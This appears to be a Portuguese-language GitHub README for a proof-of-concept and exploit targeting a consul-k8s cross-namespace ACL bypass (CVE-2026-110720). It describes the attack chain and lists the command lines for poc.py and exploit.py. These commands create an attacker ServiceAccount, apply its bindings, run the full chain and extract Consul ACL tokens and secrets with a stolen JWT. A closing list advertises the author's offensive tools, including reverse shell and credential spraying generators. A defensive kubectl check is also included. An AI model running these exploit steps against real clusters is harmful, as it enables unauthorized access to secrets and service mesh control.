CVE-2026-110720 - HashiCorp consul-k8s Cross-Namespace ACL Bypass PoC & Exploit
ClusterRoleBindings sem restricao de namespace permitem que qualquer ServiceAccount bypasse ACLs do Consul em clusters Kubernetes.
CVE-2026-110720 v3.0.0 | consul-k8s Cross-Namespace ACL Bypass
By Gh0st-Bx1 | github.com/Ghost-Bx1
O consul-k8s (versoes 0.42.0 a 2.0.4) gera ClusterRoleBindings e ServiceAccounts para componentes internos do Consul sem restringir o binding por namespace. Quando global.acls.manageSystemACLs=true esta habilitado, um ServiceAccount criado em qualquer namespace pode se autenticar no servidor Consul como se fosse um componente de sistema, bypassando completamente o namespace ACL.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-110720 |
| CVSS | 9.9 (CRITICO) |
| CWE | CWE-863 (Incorrect Authorization) |
| Advisory | HCSEC-2026-50 |
| Fornecedor | HashiCorp |
| Produto | consul-k8s |
| Requer | K8s: criar SA + obter token em outro namespace + acesso de rede ao Consul API |
| Data | Outubro 2026 |
| Versao | Status |
|---|---|
| consul-k8s 0.42.0 - 2.0.4 | Vulneravel |
| consul-k8s >= 2.1.0 | Corrigido |
| consul-k8s >= 1.8.18 (backport) | Corrigido |
Cluster K8s com consul-k8s + manageSystemACLs=true
|
v
consul-k8s cria ClusterRoleBinding sem restricao de namespace:
subjects:
- kind: ServiceAccount
name: consul-server-acl-init
namespace: consul <-- sem validacao de outros namespaces
|
v
Atacante cria namespace "evil-ns" e SA "consul-server-acl-init"
|
v
Atacante cria ClusterRoleBinding apontando seu SA
para o ClusterRole do Consul
|
v
Token do SA do atacante autentica como componente de sistema
no servidor Consul ACL
|
v
Acesso a: ACL tokens, service mesh policies, KV store secrets
| ServiceAccount | Privilegio |
|---|---|
| consul-server-acl-init | Bootstrap ACL |
| consul-client-acl-init | Client registration |
| consul-connect-inject-acl-init | Service mesh tokens |
| consul-sync-catalog-acl-init | Catalog sync |
python poc.py --check-install --namespace consul
python poc.py --list-bindings --namespace consul
python poc.py --check-acl --namespace consul
python poc.py --gen-sa --attacker-ns evil-ns --output /tmp/bypass.yaml
kubectl apply -f /tmp/bypass.yaml
python exploit.py --check --namespace consul
python exploit.py --exploit --namespace consul --attacker-ns ghost-exploit-ns
python exploit.py --full-chain --namespace consul
# Apos obter o token K8s do SA comprometido:
python exploit.py --consul-extract <k8s-jwt-token> --namespace consul
python exploit.py --cleanup --attacker-ns ghost-exploit-ns
# Verificar bindings vulneraveis
kubectl get clusterrolebinding -o json | jq '.items[] | select(.metadata.name | contains("consul")) | .subjects'
Este repositorio e para fins educacionais e de pesquisa de seguranca. Use apenas em ambientes autorizados com permissao explicita. O autor nao se responsabiliza pelo uso indevido.
| Tool | Description |
|---|---|
| ghost-ad | Active Directory - LDAP, Kerberoasting, AS-REP Roasting, BloodHound-lite |
| ghost-cloud | Cloud Security - AWS, Azure and GCP misconfiguration scanner |
| ghost-fuzz | Web Fuzzing - directory brute-force, parameter fuzzing, vhost enumeration |
| ghost-osint | OSINT - domain, email and IP intelligence from public sources |
| ghost-privesc | Privilege Escalation - Linux privesc checker, 17 vectors, GTFOBins |
| ghost-recon | Reconnaissance - DNS, SSL, WAF, subdomain enumeration, email security |
| ghost-report | Reporting - pentest report generator from any ghost-* JSON output |
| ghost-scan | Port Scanner - async TCP/UDP scanner with banner grabbing and CVE correlation |
| ghost-shell | Payload Generation - reverse shell and web shell generator, 25+ languages |
| ghost-spray | Credential Attacks - password spraying, stuffing, default credential testing |
| ghost-wifi | WiFi Attacks - monitor mode, deauth, WPA/WPA2 capture, PMKID, WPS, Evil Twin |
By Gh0st-Bx1